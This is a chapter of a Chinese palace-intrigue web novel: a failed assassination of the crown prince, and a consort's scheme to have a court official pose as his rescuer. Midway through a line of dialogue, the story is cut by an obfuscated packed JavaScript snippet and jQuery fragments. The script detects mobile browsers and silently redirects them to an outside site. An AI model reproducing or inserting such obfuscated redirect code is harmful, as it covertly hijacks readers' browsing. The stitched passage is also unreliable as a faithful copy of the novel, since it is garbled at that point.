说完便冲了上来跟他们厮杀在一起,刀剑相撞的声音格外刺耳,徐言璟很少用刀,从小到大练的就是长枪,但是今日为了方便没有带,不过好在对方并不专业,若是不要命的死士,哪怕他不死也得重伤。 纪叙明给了他一支锦衣卫,都是训练有素的人,打起架来快准狠,直击要害,人群杂乱,他闪身到旁边一转身便抹了追过来的那人的脖子,鲜血飞溅到脸上,血水混着雨水流淌。 期间又有数支箭矢朝着轿撵射去,他横刀挡在前面挥开了射来的箭,雨水模糊了眼睛,一支箭划破了他的臂膀,刺痛传来他来不及挡下剩余的箭,只能大喊一声:“殿下!快走!” 就在这时,四只钩爪从两边的房屋上甩了过来,紧紧勾住轿撵的四角,用力一拉,华丽的轿撵瞬间四分五裂,破烂的轿撵里空无一人,那些打得火热的刺客一愣,“人呢?” “该死的!让那个狗太子跑了!”有人狠狠啐了一声:“走!” “想走?”其中一个锦衣卫揪住他的脖子,一刀刺进他的腹部,“哪里来的刺客,就这功夫也敢刺杀当朝太子。” 其余人见状纷纷逃走,有人想追但是被徐言璟叫住了,“别追了。” 锦衣卫到底是受纪叙明的管辖,有的人不肯服他,便说:“就那么几个不知道哪里窜出来的猫狗,若是纪大人早将他们拖进昭狱严刑拷打了,还怕审问不出他们背后的人?徐大人,虽说你现在是个文官儿,但好歹以前也是上过战场的,你在战场上也会放过敌人吗?” 他说的话不中听,徐言璟只看了他一眼,弯腰捡起掉在地上的刀放回刀鞘,往皇宫的方向去,原本的仪仗队散的不成样子,不少人都死于那些人的乱刀之下,只剩少许的人跟在他身后。 他不说话,那人便气得很,怒道:“不过是徐家二房的一个外室子而已,真以为你那个外室娘嫁进了徐家你就飞上枝头变凤凰了?我呸!谁不知道你在勾栏瓦舍做的腌臢事?荷烟姑娘还等着你拿钱赎她出长乐坊呢,怎么?当了几天官儿就忘了自己的老相好了?” 徐言璟脚步一顿,反手拔出刀朝他甩了过去,锋利的刀刃硬生生割掉了他的耳朵,霎那间让他忘了疼痛,直到反应过来才抬手捂住鲜血淋漓的左耳,他更加暴怒,身边的好友拉住他,生怕他再说出什么不敬上官的话。 徐言璟冷着脸走到他面前,眸子里映照着对方可怖的面庞,“你是锦衣卫的没错,但下次再让我听到这种话,掉的就不只是耳朵了。” 他的声音落在那人另外一只耳朵里像是索命的恶鬼,从前他只听说这个外室子文不成武不就,每天经常做的事就是喝花酒和赌钱,没曾想过他竟然有如此胆量,怒火熄灭后剩下的就只有害怕。 徐言璟这次连刀都懒得捡,解下腰间的刀鞘扔给旁边的随侍,翻身上马直奔皇宫而去。 今日的刺杀是他没料想到的,但好在有些准备,在那支冷箭射来的时候他就让太子混入四散的百姓中离开了,方才与那些人厮杀不过是拖延时间,估摸着现在太子已经到了。 - 太子进入皇宫之后直入太和殿,鼻梁上的血迹已经干涸,只留下了一道浅浅的血线,他走的急,袍摆沾染了脏污,但也来不及换衣裳,陛下正等着。 “儿臣参见父皇。” “怎么搞的这么狼狈?”陛下把手里的书放在桌子上,他子嗣单薄,如今四十多了也才只得了两位皇子和一位公主,是以他很爱这三个孩子,太子是他登基后的第一个皇子,自然看重。 太子说:“儿臣在回京途中突遇刺客。” “刺客?徐枕之人呢?为何还叫你受了伤?”陛下走到他面前,将人扶起来,“可清楚那伙刺客的来历?” “徐枕之为护儿臣入宫,正拖着那伙刺客,虽不知其来历,但儿臣看其模样不像是训练有素的刺客,倒像是乡野间的山匪,请父皇明察,若真是山匪,当立即剿杀!” “好,这件事就交给纪叙明了,你快去你母妃那里问安,别叫她等着急了。” 太子离开太和殿后回东宫换了身衣裳就往坤宁宫那里去,此时嘉贵妃正带着温书宁去皇后那里问安回来,路过御花园跟太子迎面撞上,她虽然没有见过太子,但是看服制也能知道此人身份高贵,她恭敬地对太子行了一礼,太子没有看她,反倒是跟嘉贵妃攀谈起来,问起了二殿下的学业,这一向是嘉贵妃最头疼的,说起来直叹气。 “二弟聪慧,娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036642|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不必忧心。”太子笑着宽慰了几句,嘉贵妃也并不想同他长谈,说了一句“最好如此”就往前走。 温书宁低着头,太子大步走的急,免不了撞上,这一撞倒是不要紧,池边有一棵柳树,她的后背结结实实撞到了树干,疼的她皱紧了眉头,但此时也顾不上疼痛,跪在地上喊着“殿下饶命”。 太子看着她,沉着脸没有说话,转身往坤宁宫的方向走,只是刚抬脚就看见了落在旁边花丛上的一方帕子,他脚步顿住,弯腰捡起帕子,“这是你的?” 温书宁看着递到面前的帕子,将头低的更低了,支支吾吾说:“是,是臣的。” 太子摩挲着帕子一角的淡红色,说道:“起来吧,别跪着了,既然是你的东西,那就收好了。” 温书宁双手接过帕子揣进怀里,“谢殿下。” “走吧。”太子看着她,眼神晦暗,参杂着一些说不清的意味。 温书宁知道,太子这是已经把她当作了救命恩人,也知道嘉贵妃为何今日一定要带她去给皇后娘娘请安了,这都是她算计好的。 回到永和宫嘉贵妃的心情不是一般的好,难得留温书宁用午膳,不大的饭桌上摆满了珍馐美味,嘉贵妃每样菜只浅尝一些就搁下了筷子,用帕子掖着嘴角。 她高兴就有人提心吊胆,看着桌子上的美味温书宁第一次没有胃口,“娘娘,若是有朝一日东窗事发怎么办?” “怕了?”嘉贵妃看着她,见她害怕的模样忍不住笑出声:“放心,没有那一天。” 她虽这样说,但是温书宁并不放心,嘉贵妃不就是想要她的命吗?如此弯弯绕绕,煞费心机就是不想做的太明显,若是她死在太子手里,对于嘉贵妃来说可是个机会,她虽然出身不好,但父亲是朝中二品大臣,病故的夫君又是为国身死的将军,她的死对于太子来说也算是个沉重的打击。 嘉贵妃看出她的不安,起身让人撤下了饭菜,说道:“行了,别多想了,回去吧。” 回到小棠园温书宁彻底地瘫软在了小榻上,寒凉的秋风送入房中,冷的她忍不住打了个寒噤。 长盈在小厨房做酥点,看她望着窗外出神,忍不住问道:“司记怎么了?可是娘娘为难你了?” 温书宁看了她一眼,为难么?算不上吧,毕竟是她为了母亲的事情愿意的,顶多算是一个愿打一个愿挨,就算最后翻了船,也只能自认倒霉。 她在小棠园休息了一下午,尚宫局的事情她向来不上心,每天不是看书写字就是焦灼等待容修的消息,这天她正坐在院子里的台阶上看着诗集,长盈从永和正宫回来,在她身边坐下,“司记,您猜我刚才听见什么了?” 温书宁将诗集翻了一页,“什么?” “太子殿下自从回来之后就一直在满皇宫地找人,也不知道要找的那个人是谁。”长盈嘀咕着。 温书宁捏着书角的指尖忍不住发抖,长盈唤了她好几声才回过神,“我没事,就是看书看入迷了,你刚才说什么?” 长盈准备再重复一遍的时候门口来了个小太监,站在门口尖着嗓子喊道:“黎司记,太子殿下请您去东宫问话。” 随着话音落下的还有她手上的书。